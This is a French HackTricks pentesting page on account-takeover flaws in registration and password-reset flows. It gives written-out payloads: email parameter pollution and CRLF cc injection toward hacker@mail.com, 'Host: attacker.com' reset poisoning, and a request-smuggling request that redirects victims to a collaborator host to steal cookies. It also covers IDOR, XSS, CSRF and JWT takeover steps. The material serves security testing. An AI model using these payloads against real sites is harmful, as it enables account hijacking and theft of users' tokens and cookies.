mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
198 lines
12 KiB
Markdown
198 lines
12 KiB
Markdown
# Vulnérabilités d'inscription et de prise de contrôle
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Prise de contrôle d'inscription
|
|
|
|
### Inscription en double
|
|
|
|
* Essayez de générer en utilisant un nom d'utilisateur existant
|
|
* Vérifiez en variant l'e-mail :
|
|
* majuscules
|
|
* \+1@
|
|
* ajouter quelque chose dans l'e-mail
|
|
* caractères spéciaux dans le nom de l'e-mail (%00, %09, %20)
|
|
* Mettre des caractères noirs après l'e-mail : `test@test.com a`
|
|
* victim@gmail.com@attacker.com
|
|
* victim@attacker.com@gmail.com
|
|
|
|
### Énumération des noms d'utilisateur
|
|
|
|
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
|
|
|
|
### Politique de mot de passe
|
|
|
|
En créant un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
|
|
Dans ce cas, vous pouvez essayer de forcer les informations d'identification.
|
|
|
|
### Injection SQL
|
|
|
|
[**Consultez cette page**](sql-injection/#insert-statement) pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
|
|
|
|
### Prises de contrôle Oauth
|
|
|
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Vulnérabilités SAML
|
|
|
|
{% content-ref url="saml-attacks/" %}
|
|
[saml-attacks](saml-attacks/)
|
|
{% endcontent-ref %}
|
|
|
|
### Changer l'e-mail
|
|
|
|
lorsque vous êtes enregistré, essayez de changer l'e-mail et vérifiez si cette modification est correctement validée ou si vous pouvez la changer en e-mails arbitraires.
|
|
|
|
### Plus de vérifications
|
|
|
|
* Vérifiez si vous pouvez utiliser des e-mails **jetables**
|
|
* **Long** **mot de passe** (>200) conduit à une **DoS**
|
|
* **Vérifiez les limites de taux de création de compte**
|
|
* Utilisez username@**burp\_collab**.net et analysez le **callback**
|
|
|
|
## **Prise de contrôle de réinitialisation de mot de passe**
|
|
|
|
### Fuite de jeton de réinitialisation de mot de passe via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
|
|
|
1. Demandez une réinitialisation de mot de passe à votre adresse e-mail
|
|
2. Cliquez sur le lien de réinitialisation de mot de passe
|
|
3. Ne changez pas le mot de passe
|
|
4. Cliquez sur n'importe quel site tiers (par exemple : Facebook, Twitter)
|
|
5. Interceptez la demande dans le proxy Burp Suite
|
|
6. Vérifiez si l'en-tête referer fuit le jeton de réinitialisation de mot de passe.
|
|
|
|
### Poisoning de réinitialisation de mot de passe <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
|
|
|
1. Interceptez la demande de réinitialisation de mot de passe dans Burp Suite
|
|
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
|
3. Transmettez la demande avec l'en-tête modifié\
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
|
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête _host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
|
|
|
|
### Réinitialisation de mot de passe via le paramètre e-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
|
```powershell
|
|
# parameter pollution
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
# array of emails
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
# carbon copy
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
# separator
|
|
email=victim@mail.com,hacker@mail.com
|
|
email=victim@mail.com%20hacker@mail.com
|
|
email=victim@mail.com|hacker@mail.com
|
|
```
|
|
### IDOR sur les paramètres API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
|
|
|
1. L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité **Changer de mot de passe**.
|
|
2. Démarrer Burp Suite et intercepter la requête.
|
|
3. Envoyer la requête à l'onglet Repeater et modifier les paramètres : ID utilisateur/email\
|
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
|
|
|
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
|
|
|
Le jeton de réinitialisation de mot de passe doit être généré de manière aléatoire et unique à chaque fois.\
|
|
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes peuvent être utilisées par l'algorithme.
|
|
|
|
* Horodatage
|
|
* ID utilisateur
|
|
* Adresse e-mail de l'utilisateur
|
|
* Prénom et nom de famille
|
|
* Date de naissance
|
|
* Cryptographie
|
|
* Nombre seulement
|
|
* Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
|
|
* Réutilisation de jeton
|
|
* Date d'expiration du jeton
|
|
|
|
### Fuite de jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
|
|
|
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un e-mail spécifique, par exemple : test@mail.com
|
|
2. Inspectez la réponse du serveur et recherchez `resetToken`
|
|
3. Ensuite, utilisez le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
|
|
|
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
|
|
|
1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces blancs insérés avant et/ou après le nom d'utilisateur. par exemple : `"admin "`
|
|
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
|
|
3. Utilisez le jeton envoyé à votre e-mail et réinitialisez le mot de passe de la victime.
|
|
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
|
|
|
|
La plateforme CTFd était vulnérable à cette attaque.\
|
|
Voir : [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
|
|
|
### Prise de contrôle de compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
|
|
|
1. Trouvez une XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
|
|
2. Fuite du cookie de session actuel
|
|
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
|
|
|
|
### Prise de contrôle de compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
|
|
|
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
|
2\. Créez une requête qui écrasera `POST / HTTP/1.1` avec les données suivantes :\
|
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
|
|
3\. La requête finale pourrait ressembler à la suivante
|
|
```
|
|
GET / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: something.com
|
|
User-Agent: Smuggler/v1.0
|
|
Content-Length: 83
|
|
0
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
X: X
|
|
```
|
|
Des rapports de Hackerone ont exploité cette faille\
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
|
|
|
### Prise de contrôle de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
|
|
|
1. Créer une charge utile pour le CSRF, par exemple : "Formulaire HTML avec une soumission automatique pour un changement de mot de passe"
|
|
2. Envoyer la charge utile
|
|
|
|
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
|
|
|
JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
|
|
|
* Modifier le JWT avec un autre ID utilisateur / e-mail
|
|
* Vérifier la signature JWT faible
|
|
|
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Références
|
|
|
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|